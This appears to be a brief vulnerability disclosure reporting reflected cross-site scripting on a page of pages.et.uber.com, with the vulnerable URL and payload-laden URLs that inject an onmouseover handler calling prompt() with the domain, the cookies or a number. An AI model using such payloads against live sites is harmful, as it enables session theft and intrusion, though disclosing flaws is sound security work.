XSS At "pages.et.uber.com"

Vulnerable Domain : ------------------- https://pages.et.uber.com/ Vulnerable Link : ----------------- https://pages.et.uber.com/icecream/?lang_id=5 Edited Link With Payload : -------------------------- https://pages.et.uber.com/icecream/?lang_id=5%22%20onmouseover%3dprompt(document.domain)%20bad%3d%22 https://pages.et.uber.com/icecream/?lang_id=5%22%20onmouseover%3dprompt(document.cookie)%20bad%3d%22 https://pages.et.uber.com/icecream/?lang_id=5%22%20onmouseover%3dprompt(9020)%20bad%3d%22 Payload Used : -------------- " onmouseover%3dprompt(9020) bad%3d" " onmouseover%3dprompt(document.domain) bad%3d" " onmouseover%3dprompt(document.cookie) bad%3d"